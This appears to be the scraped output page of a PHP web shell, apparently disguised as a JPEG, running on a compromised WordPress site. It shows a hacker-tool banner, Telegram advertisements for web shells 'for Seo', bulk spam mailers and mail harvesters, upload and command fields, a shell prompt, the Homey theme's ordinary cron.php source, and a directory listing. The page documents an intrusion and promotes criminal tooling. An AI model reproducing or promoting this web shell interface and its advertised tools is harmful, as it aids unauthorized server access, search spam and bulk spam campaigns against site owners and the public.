����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.144: ~ $
<?php
/**
 * Run cron Jobs for different events
 */

/*-----------------------------------------------------------------------------------*/
// Add Weekly crop interval
/*-----------------------------------------------------------------------------------*/
add_filter( 'cron_schedules', 'homey_add_weekly_cron_schedule' );
if( !function_exists('homey_add_weekly_cron_schedule') ):
    function homey_add_weekly_cron_schedule( $schedules ) {

        $schedules['weekly'] = array(
            'interval' => 7 * 24 * 60 * 60, //7 days * 24 hours * 60 minutes * 60 seconds
            'display'  => 'Once Weekly',
        );
        $schedules['one_minute'] = array(
            'interval' => 30,
            'display'  => 'One minute',
        );

        return $schedules;
    }
endif;

add_action( 'homey_reservation_declined', 'homey_reservation_declined_callback' );
if( !function_exists('homey_reservation_declined_callback') ) {
    function homey_reservation_declined_callback () {
        //reservation_status 
        $args = array(
            'post_type' => 'homey_reservation',
            'post_status' => 'publish'
        );

        $args['meta_key'] = 'reservation_status';
        $args['meta_value'] = 'available';

        $listing_selection = new WP_Query($args);

        if($listing_selection->have_posts()):
            while ($listing_selection->have_posts()): $listing_selection->the_post();

                $reservation_id = get_the_ID();
                $listing_id = get_post_meta($reservation_id, 'reservation_listing_id', true);
                $booked_on = get_post_meta($reservation_id, 'reservation_confirm_date_time', true);

                $num_hours = homey_option('num_0f_hours_to_remove_pending_resrv');
                if($num_hours >  0){
                    $num_hours = $num_hours - 1;
                }

                $booked_on_timestamp = strtotime($booked_on);
                $current_time = current_time('timestamp');

                $booked_on_datetime = date('Y-m-d H:i:s', $booked_on_timestamp);
                $now = date('Y-m-d H:i:s', $current_time);

                $t1 = $booked_on_timestamp;
                $t2 = strtotime($now);
                $diff = $t2 - $t1;
                $hours = $diff / ( 60 * 60 );

                if ($hours > $num_hours) {
                    //Remove Pending Dates
                    $pending_dates_array = homey_remove_booking_pending_days($listing_id, $reservation_id);
                    update_post_meta($listing_id, 'reservation_pending_dates', $pending_dates_array);
                    update_post_meta($reservation_id, 'reservation_status', 'declined');
                    update_post_meta($reservation_id, 'reservation_declined', $now);

                    $listing_owner = get_post_meta($reservation_id, 'listing_owner', true);
                    $renter = homey_usermeta($listing_owner);
                    $renter_email = $renter['email'];

                    $email_args = array('reservation_detail_url' => reservation_detail_link($reservation_id) );
                    homey_email_composer( $renter_email, 'cancelled_reservation', $email_args );
                }
            endwhile;
        endif;
    }
}


add_action( 'homey_featured_listing_expire_check', 'homey_featured_listing_expire_callback' );
if( !function_exists('homey_featured_listing_expire_callback') ) {
    function homey_featured_listing_expire_callback () {

        $featured_listing_expire = intval ( homey_option('featured_listing_expire') );


        if ( $featured_listing_expire > 0 ) {

            $args = array(
                'post_type' => 'listing',
                'post_status' => 'publish'
            );

            $args['meta_key'] = 'homey_featured';
            $args['meta_value'] = '1';

            $listing_selection = new WP_Query($args);
            while ($listing_selection->have_posts()): $listing_selection->the_post();

                $the_id = get_the_ID();

                $prop_listed_date = get_post_meta($the_id, 'homey_featured_datetime', true);

                $prop_listed_date = strtotime($prop_listed_date);

                $expiration_date = $prop_listed_date + $featured_listing_expire * 24 * 60 * 60;

                $today = strtotime(date( 'Y-m-d G:i:s', current_time( 'timestamp', 0 ) ));

                $user_id = homey_get_author_by_post_id($the_id);
                $user = new WP_User($user_id); //administrator
                $user_role = $user->roles[0];

                if(!empty($prop_listed_date)) {
                    //if ($user_role != 'administrator') {
                    if ($expiration_date < $today) {
                        homey_listing_set_to_expire($the_id);
                    }
                    //}
                }
            endwhile;
        }
    }
}


/* -----------------------------------------------------------------------------------------------------------
 *  Set Listings as expire for featured - keep
 -------------------------------------------------------------------------------------------------------------*/
if( !function_exists('homey_listing_set_to_expire') ):
    function homey_listing_set_to_expire($post_id) {

        update_post_meta( $post_id, 'homey_featured', 0 );
        delete_post_meta( $post_id, 'homey_featured_datetime' );

    }
endif;

Filemanager

Name Type Size Permission Actions
calendar-daily-date.php File 12.36 KB 0644
calendar-hourly.php File 6.12 KB 0644
calendar.php File 15.58 KB 0644
cron.php File 5.23 KB 0644
demo-importer.php File 18.03 KB 0644
experiences-reservation.php File 129.32 KB 0644
experiences.php File 164.04 KB 0644
helper.php File 172.04 KB 0644
icalendar-exp.php File 22.14 KB 0644
icalendar.php File 27.05 KB 0644
listings.php File 194.97 KB 0644
messages.php File 24.05 KB 0644
price.php File 34.39 KB 0644
profile.php File 63.83 KB 0644
reservation-hourly.php File 157.92 KB 0644
reservation.php File 399.94 KB 0644
review-exp.php File 32.01 KB 0644
review.php File 43.02 KB 0644
search-experiences.php File 31.2 KB 0644
search.php File 56.23 KB 0644
v13-db.php File 8.85 KB 0644
wallet.php File 76.73 KB 0644
woocommerce.php File 869 B 0644